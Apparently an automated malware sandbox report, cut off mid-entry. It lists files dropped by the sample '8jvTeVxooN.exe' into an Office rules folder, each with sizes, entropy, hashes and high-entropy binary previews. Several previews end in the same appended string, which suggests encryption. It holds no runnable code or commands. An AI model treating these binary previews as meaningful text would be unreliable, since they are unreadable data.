Preview:	<?xmlem.+.3..p(\.Gmym..X..^.!...^Zv........ &.W..E1......H....3....?.-......^Hg)..;W......r.!...V....d..>..=....e....!."D........XAt...(.'..$<K....\3..\.'.O...6.0..q...E..4<...wE'_...6. re.(+..B...j...C9....d..!..6'V3F..D .....L:....?' ..........@..b..8...jj6....+-F..<..@`..u....-......v.K..?..Um..u.<.dw.`..z..&S...S0.j.5.).G'....o..LH..F..Kj8QGY4.@2A1...Z..l.L.d,....`...._...Y..ww.....F..j....^. .j.B.>.uD..Xf......h....R...5......G?:..:B....+emW4. I...QW.k)"e.0Ik.C[..G......./\|.r.....d....A...\|..6.....5l.m..M.u.cd]'.c..g.....+.\|Z.Z..:OSY.y%@m.._..M....%F.Mpd...Lk.K......+W$v._X..ES.'..,I.hSC,z.v....3.......4.....#.`.m.;?.GN...z.'N.xY.....]7`,.\L....b..._... .:J...j..Um...x>...5..2..........P..rI...p \|..3.\./.e...N..y..c.<..10>...rW..-.w.....{.*.......?./...;hb.......\...$o_...9.....TVy...V8.l...k.+Rw......u.(A.s.\....6.F%e.7...t..$......G..T<.BTA../..-Q..U......W....<.x.9+.... TFs.<.Yx...Q~.Q~..MY..NF.$R.\|m..G=x?!...../.#\.+..0i#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.92966732416804
Encrypted:	false
SSDEEP:	48:N/Oqlkia8r3nL4dX9IbF7cviArycOg0fSiXMQgrcp42eGet0qCIMC6Gf0QxCqLTz:N/Oqlkia87LjmrryBMQUtXGelPMCH1U4
MD5:	8EADF5870A2C9B9E45BE8A70331530D2
SHA1:	ED859FE7968A030E2B190B00321111E7C208AA4B
SHA-256:	90706827F6A6DACCD972F27AE3E8FAC253A9E56F8AD0AAF8A617F6E90D1C1C8C
SHA-512:	C1006B5A963A5ADAE4B110CCB784CA825B645869C5836FEBE6698582CAF3B5D0BEC9F184B629A0AB1AF70F931BF5B3C5CC2BA72F03376D11E38E132DE4BA5CDD
Malicious:	false
Preview:	<?xml_...x2.1G..=/...O.&.?.y.R.d.....!s..d...D..k..c...AR.EQ.....q..G...T;.dli.1k.c.3O...X...r.+.aRT:}.P.a.t\...n[H5.7..M^...9......K/.b.......:..@......5L.O&.....]...a.....j..P. ......1....w.I...z..3ds..cw...x.3UF.....Sy..0...#b..$[......beY...,..H.G/. 2.C........R....E.........h.d.].vc.>.....(xyU...q..;H....!.r.q.....T.J...aS.H.....>.......U..FB..7.o.....#.w.G.R..<....7Z.......T...{j.............,..#...m.G....mtx.UXa..=.......\Ro.Y..`...i...X.XD.....<..F...N(......cP.E........H/W.Wwt......Vh.%.JS.%....u...<.i.......%..2..M...."..G...J$(..^......Q.\|'g....O)H.g...p.K.Y..~..0.L......pwZ.!.......E.....?..<&........0..f%D.F5.#.!d.....r..G2.F..D/..I([...I.c.u[+.r...3t...F.\|".i.1.V..Gd.R&..X#@F.m..J.$+.V..h`..Xr\|..v.?...x:...7l....Es...v..n..PJ......^..G..x.'...5?...Y+D..c.l..R.l;PMO._..e..X_. .?.(..O6s..6g..6E>.{G......5.....)4.U0.M..E..k.......T.AQ..S/.3n...M...f.v<3k.....YLG...".r..........:..t...'.K...t...D.8..`%B.`...N*...K....a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4122
Entropy (8bit):	7.953787880528236
Encrypted:	false
SSDEEP:	96:uYWfgpvQpoKmiRbCfRPnNqKekVSASDXbg4xy/qm:upOvQjHRmfFJQBTbg4Tm
MD5:	97901810E4DEECBDD045F39119BF0596
SHA1:	41CB97BF1AAE5FA3A6FE5052955121CECBA9FAFB
SHA-256:	F5EE70E12A008165426842F961F9DE70304317076166E87DA2CBD4A4AC89D3A5
SHA-512:	A0880A812B2878C997F89A8E271C58896935E4DE9CA73227462B27027AC65C9E41B258EE1F04CD236E14A390262E9FDB7C808E38C7151608D76A192624CF4386
Malicious:	false
Preview:	.<?l.Wy..8z.%}"..`.AY...8wAt....Uz..../x._.....l.2[.....C.X...)3..=..8Z.ED..e..}&>....q_b.\|[,../B<..\Xxk....73..y.o.fq@.1.b=?.o..B.........G......[.!............ ..=.6...h..2.]e.{.F7T....>s.."k..8..b......D.3.Z.t...a.a~...s..{q.0.:R~C0y]t/........`g..h...]qg}..A..N.I.n(...N....K..E..+`.Ld.~...wo...uEl..9.=..:.H.._,.6.W.r..r..?.........x.....~4.%9_..4...w....x........e...%}...9#b{..r.o.....Z...z.d &(.......M..a.....`......5..*wLp..7..R.j..C>%....[...........f...._..e7...yI..cE.t.t@.B..<.....4.....?0..5..c.<.3.XX=.Z .....x..2.9).#,iL...Tk..[..R.....l./5.".K..CP....!m)..N9...w..E...N2./../.i 2.i.....h.3..%...........j..b...C......5.s.G.._@...&...Q.OT..0..v...{R....j.%..=...X\.1.O....q.).G".........c2...p..K.N1.v.(.-..N.@.7.Q..AQ.`.......@.....s...[.v.o..'0....z.....@.....M.\|..c.\|.,;tY.&8)P....c.3......z.s.0.(5;8}m......9../%...d.6V..q..!..OH.A.a....>.y[..A.....n.TB........z5._W.y.X=...TA.4Pt:pL8y..3$._.8...$I..u.2;}.V[=0R....S..g....T.p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3314
Entropy (8bit):	7.940394778359729
Encrypted:	false
SSDEEP:	96:5J++F7KvRgdtbgEWlAEvcWikID4omUPzF7r/+v2Oes9vbz9bI8:5J++7KvaD0EQvN0OgzOD9vbzNI8
MD5:	71FA0D2921612639E779290AA992F562
SHA1:	8D7726037BAF7FB4997D8EA8536210F0AEEB0CF0
SHA-256:	55792FA9854A99707066CA83DE0DAEF67A19DBC50A34EEE0AFEE545F3021F5BD
SHA-512:	62B1B2DEF45331DDDD77C45289441EBE08055B2C0CF4724299A817AC2DF996E47589E235757C66B0FA3BF99770AF96712480EF1869AD096EAD846ACCC00A17E0
Malicious:	false
Preview:	.<?}!h.....=..lE..$....m.f=`\bb.`n....C>7.K...G...b<......y.kO.,.......[...E...`y...J.s.g..47B.....D.".?.b.\...K+9.......wdV3.....~...w...R~z/.#...p...........-..;.S.#.......=....7...#.5..._.....i.....u...+=...Zv.:...cL.c'.~N.Dr)..Fi...SVU...u...O..;../.w....j'..p........+.........._.......)z!u.m..-m0..Y....a..v;S.............%n..2 Y....d\|".F0(n^9..../.)...,p.p..wk.........9.v.L...E.......Zr.5.../....L......$..`..vu....1i.d................" U(ok#,...E..U.n.E..my.T....o.......~......N...Z..D.m.4...!3......u....s..YKC."..;.@.W]...X......9.......NQ.`.^v.g...Ps...A.\V..g....b..&Z.....kA..f..f,.C.....bu...7....G}.].:"i!..Y.D.$..V...2...F\Wb.K.h..[~..e.6X...X.._L?.....,Z...A.."...w:d`.-.....@....[........Dwn..&.LP0.?n......%`....#.,`....m.T...=.h!v.b0B.#..d....z.O.....5R....."...8 #...b...{...`v{}.RJ.7K..........%Nft.G"..u..R&..U..q..1O...$.a.....3T....`......M.:e.. .F(.....E...b..o.!JfpV..q06En.\.OB..`-..}..Nv<.R...#T....v......R

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3676
Entropy (8bit):	7.9493111349599195
Encrypted:	false
SSDEEP:	96:WO9lwghUmaXT7gf2oO8u/6HMgzleMdiGU9ArOy7rqPh80Tk:n9mxmaXTcfM8u/6slMvR7rmh80Tk
MD5:	E25F829F4BC858F9FA8ABE94FBD90256
SHA1:	6A542D8FC24D38F8B1661D61517AFAC26D46247C
SHA-256:	20DE4656634ED76072CBE2156ECE1D98C9E8220DE8434BF36C8A872A956507FF
SHA-512:	A0F2F20DD76A04B2EA3290FFBC02C7EB989602A1CD743987C3E1BB03439E705D6D399163E1FAB5144C97B151A2BCAE515B7F9943861B421C8A9D77C85C6E07C8
Malicious:	false
Preview:	.<?......[...B.....=....M.{.>"...6.......p....;<.ku).B..k6.B..D.@{.".=.~.D~@4.N.......O.E.N...i9.....E52\|C.m...Vb....-8.....jV:..v@#_C.x.u..TF.{.C...!ff.......c.W.V/Z....%g...qJ?ZE.jT.w.........n...J...E.]...E.U....)3,..# .b..m.@..R......E...AX.V~...6(\.U....;..i.c..8..e..b.~Y~?......x.p...U!R.x..JT.,...H8.x....'...<..i...N.q......HO.....8MA........N......kZ..t[.....\h.....I.K.A..5.>.;..kz.,c...."y....M.C.w...-2..U.J.6.,h-!m..Q...s..F.1[..eeB...I$.).i..Be......6%..W......rL.w.5"..:.r$.p./..B..R...%.)...M..G.@....%^j...8z.s.../..q......q..[.w......R......y5.(..;F.p.o^Ln]$li.}e.\...O.....a...nv...W.......a.Z.Y.u..2.0.IB7...D.x2.p..!;....Rrnx.../....f..R..z./?BdZ/r...`=.D.TC+.%.&....6.Z=.G.$5..=.Q.`/x.D.XG.?..R....og.5.m\.+.TRcR-O3;..hv.%..<......N..u,l......&......mR..a....0.j.+..9...a.'}."........hJ.m.g?..9......v.-.'H.p...s./}..9.X.!...c.\|....s..ZfY.F.Z..>.Q./&zk.......M.....#.../+...W.....1.7}..9..Sq..... ...~.h......Y.....*/..oJ..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2925
Entropy (8bit):	7.934845344947949
Encrypted:	false
SSDEEP:	48:zbBki+71ZnvoHg6TiWiTkAIh4sJDqvEvK67DukOzFScRar+D:H+L/nr6+vkAM4sJDqXgu7zMm
MD5:	837F7B9FBE949515D643F1609D513036
SHA1:	6B4512BA8698C7CDD0A787C46D18C5D436649A76
SHA-256:	8C96E48A7A058CCACB204AB3BAC0473CBBE769B77CA18199D979049CC698398A
SHA-512:	A4AFF5B8BA604E9506C5A0AB112EE2B830E03DD8E6921C5D39004C2F70E07FB2B2417EDB751B14D113606DA2CD49323D95D811DF5478D1D3DA3D1009C44A66DF
Malicious:	false
Preview:	.<?....9.z.\'.?Y...}.._+...).z5...~Ev.....k%...7.`.$...R.C.-69...F..DN..!.B....].......Fly.^J.z..iP.!.u].qP.q.9P...?....}..Z...b.....R.~/U.X.......J......m........x.^.e.:z...p.W.....\.jn.Q.m...`.)......-g...5<.h..@.m.Q)..r.v..q.....]..z.,..7....t...n.t.Q...Jigc...,@......O.....\(..bY..c.[....&U}A..z..Q.a(h^:iPw..E.f2.......#.G\|.....}q.E..'..+.....,.1.s../....6..W.wq..)s...`n.[..4...\|.9...w`JO.....y.....G...8.2..;...p... ..<..Y.M(......$..s. ..u....../.c...Y..(....5.......K..\|..n.W...g.........u.I.[b.j..a..G..;V?...........2h6\|SD......:.X..A...\3.=..F.(9..3.G..R..M~.v....~g.fW.!ed3....b..g...tk..0......r..Z!9.].a...JZd.L.`.f.b.-.1.ym.....#@...i.?.z..uD..W.vfq....et..y....-Q.....:z....X...kL.lJ......j.....g.%.e.:m...........]2.?...VR..G........O........!.'i.cs.=..-r...>.E..&.&.5d.q."7#r.....].X.....J9.D~k...GH.k..!.........X.JB..8V.$`Z......Kb...oh...{..W..o..../4..'.....ik..'xuCux..8..%J...B;v....}D..8EI.A.....=}.....gx...m E..Z...L.$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2462
Entropy (8bit):	7.925942987645935
Encrypted:	false
SSDEEP:	48:harvqMqmNHRa9rxUun8JqadTkbHyMeNDFnDPyFJ0ca3F4i3Rg1TNVD:harvVNHcVCaRadTkbSMeNpKvFaV4i3Rk
MD5:	C02515A86A1E1F5991C971962D5EA3CC
SHA1:	A312DAB195404B8EC6E424771BAED85C0BA0A0CB
SHA-256:	9EBC71AB427A7998F5297037997A5C75CAEA66B24AB95ED4E6438E74AAA9DB99
SHA-512:	EF43937BA5BA908ADC7D137684496FDB5689E63B9EDCAC0814B728A4C715D532D7631A53DC02C3E1AEEBE47E90CC76EFE77A42F39862F4880581C968A02A9A0A
Malicious:	false
Preview:	.<?P(w.Jc.M..EdI.......X........7.H.'.......NI^......Le..6 o..h+......K.\|..R.[.A.B.4.pWJ2..x.4$...u.......U\T_.I.O.L.....D.......W>...S...&....l...M...~.#w.l>.....W.Q;S...3.4.\|O.H...G.....G..`"qU. ...e..{....+.....Q.. ..V..4...........>#......?}..~s.Q..5O.)H.#......m..J.T............zE.d..r!..6.K.l.>y......3./`.q...{5.8M..+,...G.8.p(...xA:.{..._Ak....G.{A.@..JW........b.\,b=.vU...0.G".x~...9..A.T.G..j......j.RDc..&.....W.......\|.XW6.6.3;.F^T4.s..-.$..75y{.F.>{i0B.Ku/.O......`B@.....D.i\|..\A...H./..H. b.....Q..1.1!.[.D...C^.M.t.v2...o.C.}..D}lF.'J..b...1.]-e..u...X.hy.On.c9Pe..Oq...9t..AE.v...u..m...x.#S.....O.4.Zl..T.....#..L...?.f...4^...y..h...\|.I7..z;]..h.....-(.9n5._.>..u,.V..b...'.H6.z2.!+``k..Z..kO".....p!.wj...n)...I.{.....u........Ys..bw...F...p..Os....gv.1x_.WM=...W.P3F@...........NA5...... .f.\|.J..../.8.+@g.p.T.D6-.R...+.1-...+O.;...0L.r..K.....Z...cz.u.'.9....e..H<C..-..d`.lJ0..j.m.[KF..G.j.63...pa..Mu....'I....f!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	538
Entropy (8bit):	7.590674168743683
Encrypted:	false
SSDEEP:	12:kf55F5COvmzSkY3YlW29agdTbv10RHH+tfSfuOcii9a:QammePQag91ftSmObD
MD5:	FEC4256E2B0F45CB359E71FCAB4CF5C4
SHA1:	1C2CBEB4CDF33E8944A05DD3E428BDFF7AC90122
SHA-256:	0A912C40EA22ED2F90401BF41D1EDD78613DE74A3FB9EE4102BB21A7C71D83B7
SHA-512:	4B16D27A7B00FDCDB36ECA38152EFCB42206FB717C3E738B0AD8D917A84564FDF1FAE295A31DB8C394118EB86229AEFB15FC405DD365CDFED7FACFBFAC743211
Malicious:	false
Preview:	.<?-..=ou.=.......p...4...d......5..C0..d#.8Ja......-+...<%..1.93d...6.+...w.M.I.f...j_..(...B.j.H...#alEy...8..#....<;....K.f.{b...G/..7....d.jIR.l..)..I.@c4].i....d._-..s...;P..........e.%_^(K[.'s?.G@...[..z....G.m.u.LD....M.4..@\.5......7.%4.S..._v..\.2.v_e.W...>U8.R..8.L.....=\|.F......@...l. &e.Z....;. .4G.D..3.o..z/..a....Yc&4a.t.m.^V...N...J....$;.$(<. ..:..rZ.z.T-..)o.C..n..=v.wr...S......&r.......:...7...bMVya=.+wr."Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	7.926555264757396
Encrypted:	false
SSDEEP:	48:8H9iIT346YjmESzLJjP3NGHyPJQmGPaBYiUII9NenceZaMQZMRVYChD:8Hca46GSlPN+aEIIHCc1MQZIdJ
MD5:	C63954AB3A9203C0A3D1CD93A5DB3FEB
SHA1:	822924FE55B2BDF8FED1DAD788964F0853E59339
SHA-256:	C875A77DD6C8972714F49C30D8CAF03DF87F0BF5CD2C992A8A4DEEA404912B69
SHA-512:	CCB8478594DE12BADA5964CCEA09CD7F4864FE34E0635FE4DC2C1AF91B6889205BE6D4C1EDDAB5F902A55078AEEC329383FF45F1A033322794D0B9A720A839C1
Malicious:	false
Preview:	.<?...#9...H..P.H....U.Y..M.J....\|....YSq.....q~.S..I...<b....Y7.j_.:...J.8....>..lh.K...1K.\|..W...Dj..d....]Y.5.....H W.]...."...D..U........$.b...'.......U.Zz\..y6.7dZy..(;....p<....p..P....:...M...9...#...._.,mX..d...1..g1...+.fa...m.........`a.pAh8....L...x.L.qV.!...)..\|_.r.b....'.'....!.>@...'.j.....R.......6FJ.....G....q.{..{.....)..._._.i....H.r.\)._.6...n.50...#.i^C...~........+.K5.."4....G...Q..Qb.n`/.....n...H..F%..-.B...;.9.O~.".g.4v..oS...]_q`.....6...ev.P1F .[.o.r}F. z.....~.u.b.+.V..,...$oOe.c......c1.....sV..M<#eP-.5.3.....O.....cH.[.}.....`.1....I........l.(.N.\w..-.7d#.T..!e.Q]..Q... x.7._O....s.....l'.q<uB...(F.V6...,v...SB.K.,=.;...IL<....^...N!......B....Ct.e.nx..J%W....t.+V<.....1...0.B..V<3....Z>F...Kh.._/.j.t.R..sK....D.....Q`..tV..n.<%...Qxz.F....&f.=ZML.......Tc1S..(....j.S..hfQ..n+......D.W#..'Ac...DB.].a..z.... 3f%I....0...7...-(x...\..H!\|C...w....\|..;...@.t,.5.oQ..~.U7.......m.........mp(...%.Y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.6952756544757905
Encrypted:	false
SSDEEP:	12:GHY3Z30dcSftDuzbAgUYCTycJlt0XXPrSt6Et7qHN1kXRjzHldQ/1uOcii9a:iYrMtizxQyc3t0+v1qHN1uBlOkObD
MD5:	A98B9A209A076F4076952D2CB121A5C0
SHA1:	0BB366DDE7C3A78E4F19418630E7298B42A5603B
SHA-256:	274A37AD1B5C071996B0CEF813BD5F35885F2CA45A920622E0D34522B8C28734
SHA-512:	FF0B0C3DD34E8D92E82EE85C61CF7F004D93465C57B01803144F1FCDED539B5C1F3D9C055F2165963C992912CB4EECCC2BC86A8B3EB4BE458095C76C2194709A
Malicious:	false
Preview:	.<?.8.&..#_.(....f..&Z.......u........%.%.L^O.>..3....J.......i7.......`He..uO..:..A..k7.5A.. s....e....C......>..P.+.I.XsJ...M[.E...P.O..P_..MEohONLl...P.f.PF...s.n..(,0..K...&F.Q...Y..9..C.l..8..h.Z....I....`4..b.......u......d..N.h....L...+i...k0.=.9..y}..........E\vg......y..9.V@a.B..;..{(t.......-.\l....>.k.&.j...........8.P.#KU...04$xK./v..o.\.M....R...^.S.i..h0].... L..;z.?...4P....,.V..w..c1L......c+.@.9....bO..-..N.....+...W.q........=...xeXl......rq..I`!...h(.e...I..OF1E.....!.Z..jHt.x.#..r.S...$s........ik*.......+i.F......jIGkV.J.b.r.......9..h}p...Z...\...H.w.@...).]hx..Nd.D.....jW.S.M=.'K.l.0...Z.,....n.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.751188843714762
Encrypted:	false
SSDEEP:	12:rN+nJdSUBILqxa+5SvWxOeKLJ/IJ6/wwGOn5lbgCJFACrPlJdOcvuOcii9a:x+rBIexawSDDNaI/lbgeAmvOjObD
MD5:	485227E3EAE09A830A6EC98F76A59A6D
SHA1:	766A02E084EAB07E794ABF1773A6D3F11EC06223
SHA-256:	CC366C76B24901B055664D94E700E4486FB4DAE3C4F31F41DBBABB3872AE7A9F
SHA-512:	46462BA8652EBA57B33F7B90E9D8334F2E45213F3DC7D30547D250C04C067C9ACDF797B9FEDA2960EDDFA7C8B173F417F14D325D8B0D2EF0CDD8CC724B965018
Malicious:	false
Preview:	.<?K.hA..2........&#./....[.X....Vb.U.y....v..q2...n....sA..e\....\|..[%s\@......u.....[.4. ..Pe...y.M.....5f.r.../H.P.. z..c[.<y)....6Jxq..%.......4f8..i..........5.Q._......4.......]..%..:...[u&9...wdYJ.=.. .Ck..k....s.).'..).z./Ah...-J.xe.4^#Z.......z*k...;/.@.s.......q]....h...i.........9..&Y..Qc...t>.......7..8...&..a..W...F5..v.1...S.W..W...w.(6UG.RGo6..#+.C.o...UT.g.O...c.o]...=;KGQ........\.$c.EX...........Z..{..~...g...jq....G.;1....../.........4....1.~.LTg....9.S......T........v.k.8 .F..#.p...BG.f..\..aN.-h.3...U.....].3~.&...y..ed..Z.a).J.:R.;..V,x.........@.m.n..D...W.W.Nb.....b...jii..6g..@...q(<..2...S@'$.V...d..K...r.O8..O.." ....a.>.S,...k:.G./M.R...y..5P.v.....aD..!d...o">Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.730692240658866
Encrypted:	false
SSDEEP:	12:fVm2U9H7KfTzk5txqtikhTuMeCZm+93i8Hien7d19YNXY3m+N8FwzoRVKwBCmSK5:dm19uzk0ThJJTHNd1epYW5wyMxm0ObD
MD5:	24B693E8B085207A308E8785BFE545B9
SHA1:	0D56D8EAC2F4C1D2092430242E921B5A30233D7A
SHA-256:	8F4BC6A101517B385ABC02295C99AFD68A2897CDB04967E82EFE013311AD3DC1
SHA-512:	05548002207306A08624B2E6D57D1A06325EBA12BBBD1BB926C04A284256DAE44AFA094420C7EEB0B90C6C5F196D4985090D4518D646FC901A7D3ED70B7C291B
Malicious:	false
Preview:	.<?....y....F..u..b..&J....{.\|.Zo!I...O..q..y...`..IaV..H..KH.5..(..LX.n$...$.@..=...E.q....}...c.....x..m\|....>.q.'2.m49/'....."..;.......G..q...Be.'G....!Z.)..k..~...-..>.#....zO&.uY.........T....U..dv.g...t.^.........F....z...S....P..v.R..Mb..&.'....=."...,).b"=.....B...59.)..ipb.\|HA....s.N\|3.).].;R..V.....tD>x..l..5..$^.s..lc\|.a..\...ue..t.c3..}e........;..M.w.B.;........2...i..2.xr#..._6-i.0`:X.G..Q...).:...%..K..jKB...=.t.^L'#...g...A\."...4....9...jjS"...U0...f...!..".........#....SC.N3..B.` ........cJW9t..gr....}.W..i..0....G{... i.R..p...nA[...._.......l..ly..........O].......9..i..H.V)...i..(.;.".u.P'..H..q.bJZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.704516375758341
Encrypted:	false
SSDEEP:	24:j6bGOaaYdbdriFpO9XveIcqfxxYoZkVO+0D7ObD:j6pyJAOcVIUD
MD5:	2B31991F66E4FD792324527B62E6FD82
SHA1:	96401A7666D24F34EB29DCD59A704A97DD75A995
SHA-256:	A2466995B9FB8450D5F25A5842E35E9952D6F9E8DD31A7A4E618B0F39D537F95
SHA-512:	37E3BEE20AA7EE84C5FDA47C130874AC9361B3A128C4FFC234F1EC3FF3874C4382B3FE92AE57E379B0A6363381949EA0C82BFA703CFDA18FA5BEC4C1BEE43B26
Malicious:	false
Preview:	.<?.I.OPW..a@.F..q.%g...MrNe.eV..2.[..GSZ.,..wyt..#.slb.!(nf.xr.SDOU.......u...5.....A}\..........4B....5...n7....!..;qw..+..)\|..<.s... e'o=F.......+.Z.u.9..b .TJ....(..+.HB..)$...q<.7.x...x......p=.....S.z....M..I.;..Ht%%.n.A2w..T.9.=..bna..sy.-....c...@..}}...c..S...A.'...o_J.....`4v..J.....9...!....b....e....[.a.o..9.,./..p.$......T{.X.Q.=...5e.....l.Q.f.'y..h.r.0.e...&..z.%./..3.N...=Y'...X.jh0..%..>1....../..b1....1]..=..2y.q...\$.../'....\".r.{.e..`...WvlS...b.uG.R..... ..t....K.C.a...Y...E..J......3.t*...Jp........&.<.$,..}B.......V../....7..'.%.6Z%.^...RL..K\......f...wg.S9...a./...\.P.gp..>[#....`.)...9C...JzD.Rl..\|...A....)..a.:.0.(aH?.U._..._Y3A..?nk...c.f@.l...(..y...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	966
Entropy (8bit):	7.755321789337714
Encrypted:	false
SSDEEP:	24:pXTzRb3FEfDTHdBHEYu4+11mnbnlKtHjnq9D+j3ywObD:pv1elBHEYPCmnAtH+9D+j3yjD
MD5:	7C39B84272107628BA68A83923C8D72F
SHA1:	AC3A41DD17B4AEFEC9B59D487C47A0BDC87C214D
SHA-256:	A124CCEFFF3D6971E2D162881B309A9C636EFF3887EDA106ED8B5FA19CC8FECF
SHA-512:	F5C12BC8B6366A541913E45D83C2C6DC26C38B238A2BF902A25DBC94EAA29B22F001654E52296161C4DAEBC74804A7C874FAF165A6E04DF3A04F86DEA220D325
Malicious:	false
Preview:	.<?.`....P.L...2...D.w.k....d{O^..~............]Y.x'E...-.J..v..@4s.~4.4...ONc..`=.:.-d:...p.zPe....9...~......o.X.p.b.O.L#...w'jq...../E.o...XQ=...uG.l5~E4...E.1.].E.y...b..g...L.)K.0.o8] g.....F"..jp...`\|.'h41...yz..~.'...Q.v..vn!3o..cM..........V!.m...{..Lnsp..By....".5.....~.....i.#W..<..zv........._...\..9.....tQ.8.....f..-.]OW.b....V.._...t.xm.{....[.I.@..o...fE....w...}J..."W..1..i.....6...~....n..N.Y..q.....H...O..q:s...H.r.vZ...=Z.}S.....5.....>.!@.....#Pz..c...5...[[..6V2....P..o.u....<.8....q-[<8w..m.....nL.wY.z.rU"....A.....#..5.r.~...OU...s...........@..g....(...i.C@d.p...w..sb..Y....Z....h.3j....bC.5..[\|Xd.]0.z...x.5..lt4r).....xP/..n......."Z..e.aW..pAb.N......U.;....^..;..^E{.6...._ .+6.D...{....._r.;...o.$e.K.<T..L...J>.'O.C4.@H._..l...\|.a..hg%.o.*sZ.8....C.>.A..Lu...[5....Z.&1#...e...#.k;....C/.9;..yT.{.Y..'..U@...TZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.710885039781496
Encrypted:	false
SSDEEP:	12:ZOBiiWrew3bYx6CVRRcfpGE4aqaZXudM/+Y8x/v6cYGJjvBM8uOcii9a:8ZW6WgRRUpH4afZeC2Y8xn69GJtsObD
MD5:	E419703C2BF738FFFB323BFEF26D2518
SHA1:	F681BE6D4E1C2F12300B299AC7E89BFF2AA921D6
SHA-256:	D8CE2237B25E6D142D010ABE1304281426F89478D9DAF685805B0D01644DBBE0
SHA-512:	595CEB8073507485EC29856F3DE37FE1A82D4E67643793A541C5E11E2B1FD419293B487305AD9EC92E501D1E358BF974346E587008589DF40B24C8549EF3DA2E
Malicious:	false
Preview:	.<?7..Z......E..sd..lwp..e.6..M....e..............Z$]h..`......p..W.'..Q..%r...m.JZak2.^L..D......@{.."..\D...!n...%\|Yj5.Z.M=.9..!z..Y...c.*......HxD....URl.{Z.....Bd.uo......"..5...W.y.$.{..T......p7..c..c...=.w...K.N...e....cc.O..}..}Jp.A.O.Rh.=xa3.s..<.[`.....Dc.\.. c^.......2.g.,.vL.~@S;iK.&...k..S.j..z....?.......5..!..n.o...%..%..Jw.')..,..0...E.+.s\..g>2.....y.;.......h...4...Pm......../.h...7.k..I.k...u..+C.c.................T.9X..b...p..-.}...\y&35S..Z.m'<.......z:..v.`,...I.......h.^.......~.......v.;.V.ZjsO.)<...t.7.\|8.b..Z\|...p....G).U(.V~.3>.r.r.Y[.......Z?.6....?..V...Z.8...z.gN0.R.ir>..-....2..#O.`Z.7..zB..Q....3....(o..\|......ik.X....uk....N..We..b.O4Z..2TN.-..g..g...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.713130132575213
Encrypted:	false
SSDEEP:	12:z/5qhiwLXR4/oyIkPgGIykbQNBu10/R8eBQ864DKQy/PRhSslSGpNmSZlSd2aAki:TcWAyNTi0p8ke4DKp+0SGzDZkdiv9GxI
